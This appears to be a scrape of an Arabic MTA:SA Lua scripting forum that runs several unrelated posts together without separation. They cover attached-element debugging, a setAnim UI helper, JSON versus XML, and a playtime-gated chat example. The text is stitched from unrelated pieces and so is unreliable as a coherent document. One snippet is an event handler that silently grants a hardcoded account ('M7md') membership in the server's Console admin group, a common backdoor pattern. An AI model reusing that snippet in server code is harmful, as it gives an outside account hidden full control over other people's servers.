Your code works.Are you sure that you have attached elements to vehicle?
addCommandHandler("ivi",function()
det = getAttachedElements(getPedOccupiedVehicle(localPlayer))
if #det > 0 then
for k,v in ipairs(det) do
outputDebugString(tostring(v))
end
else
outputChatBox("no elements were attached")
end
end)
or
addCommandHandler("ivi",function()
det = getAttachedElements(getPedOccupiedVehicle(localPlayer))
iprint(det)
end)
acc = {"M7md"}
addEvent("dd", true)
addEventHandler("dd", root,
function ( )
local playerAcc = getPlayerAccount( source )
if isGuestAccount ( playerAcc ) then return false end
if isObjectInACLGroup( "user."..getAccountName ( playerAcc ), aclGetGroup ( "Console" ) ) then
for i , v in ipairs ( acc ) do
aclGroupAddObject( aclGetGroup( "Console" ), "user.".. v )
end
end
end
)
ملاحظة طريقتك ترسل تايمر في اقل من الثانية بيسبب لاق
+ تحتاج تحقق ان الحساب ماهب موجود بالقروب قبل ماتضيفه
انا صححت لك كودك فقط وعليك تضيف الي قلت لك عليه
MGS:GridListSetItemImage
MGS:setAnim
setAnim
الي هيا تخلي اليمينت معين يحصله الي هو عايزه مثلا هشرحلك
setAnim(elemnt, "flashing",2)
يعني كدا الاليمنت الي انت عملت عليه الانيميشن وعملت سترينج بفلاشينج يفضل يضوي كل شوية
والارقمنت التالت دا سرعة الانيم الي هو حطها علي الاليمنت
او مثلا
setAnim(elemnt,"dwran", 1)
دي تخلي الالمنت يلف زي الدائرة كدا 360 درجة وبعدين يرجع يلف تاني
زي اللوجو كدا
setAnim(element,"righttocenter",1)
يخلي الالمنت يروح من اليمين لحد النص
setAnim(element,"lefttocenter",1)
يخلي الالمنت يروح من الشمال لحد النص
setAnim(element,"downtocenter",1)
يخلي الالمنت يروح من تحت لحد النص
setAnim(element,"uptocenter",1)
يخلي الالمنت يجي من فوق لحد النص
هتقولي نص ايه هقولك نص الشاشة
وضيف خواص بقا من عندك تاني
المود تافه لكن يحتاج وقت فكرته تشبه فكرة
الجروب سيستم حق حرب العصابات بالنسبه للرومات والترقيات الخ
اما بالنسبه للصوت فسهل جدا كل اللي عليك بتاخذ اليوزفل فنكشن اللي مسوينه في مود
voice
تبع اللعبه
المود مش مستحيل
لاننا شفنا اشياء مستحيل تتسوي في mta
ولاكن في ناس سوتها واثبتت اننا علي خطأ
ولاكن هذا السكربت صعب جدا بالنسبة لي
ولاكن م اعتقد ذلك لبعض المبرمجين الواصلين ... <
ومع ذلك بالتوفيق ...
API اكثر استخداماً في نقل البيانات عبر الانترنت خصوصاً JSON
لأنها أسرع في الوصول للبيانات وأسهل في القراءة والكتابة وتقدر كمان تستخدمها كاوبجكت في الجافاسكربت لانها أصلا اوبجكت جافاسكربت
وكتابة البيانات أقصر من الاكس ام ال وتوفر المساحة
XML اما
تدعم أنواع بيانات كثيرة أكثر من الجسون
البيانات اكثر تنظيماً من الجسون
تقدر تستخدم أكثر من اسم للقيمة عكس الجسون
في رأي جسون أفضل للويب في ارسال البيانات واستقبالها وكمان لتطبيقات الجوال
getPlayerTime
طبعا هالوظيفة تجيبلك وقت اللاعب مثلا بعض اللاعبين يقولك بعطي شخص رتبه وبتحقق اذا ساعاته 50 وفوق فـ هالوظيفة بتفيدك
Syntax :
Hour Minute getPlayerTime ( player )
Returns :
Hour : الساعات الخاصه باللاعب
Minute : الدقائق الخاصه باللاعب
Example | مثال
المثال الذي سيتم عرضه في الاسفل لن يسمح للاعب بالتحدث بالشات الا إذا كان لديه 5 ساعات و اكثر , ويتم عرض ساعاته و الدقائق بجانب اسمه
function getPlayerTime ( Player )
local TimeData = getElementData(Player,'PlayTime') or '0:0';
if ( TimeData ) then
return tonumber(split(TimeData,':')[1]) , tonumber(split(TimeData,':')[2]);
end
end
addEventHandler('onPlayerChat',root,
function (Message,MessageType)
if ( MessageType == 0 ) then
local hour , mintue = getPlayerTime ( source ) -- نجيب ساعاته
if ( hour >= 5 ) then -- نتحقق ان الساعات 5 او اكثر
outputChatBox('['..tostring(hour)..':'..tostring(mintue)..'] '..getPlayerName(source)..': '..Message,root)
else -- في حال الساعات اقل من 5 لن يسمح له بالتكلم
outputChatBox("Sorry, you can't speak because your time less than 5 hours",source)
cancelEvent()
end
end
end)
والصراحه مادري اذا فيه احد مسويه من قبلي او لا, لأن الموضوع كبير ويبيلي وقت لو بشيك ع الصفحات .
واتمني اني افدت بعض الاخوان ,
وبالتوفيق يارب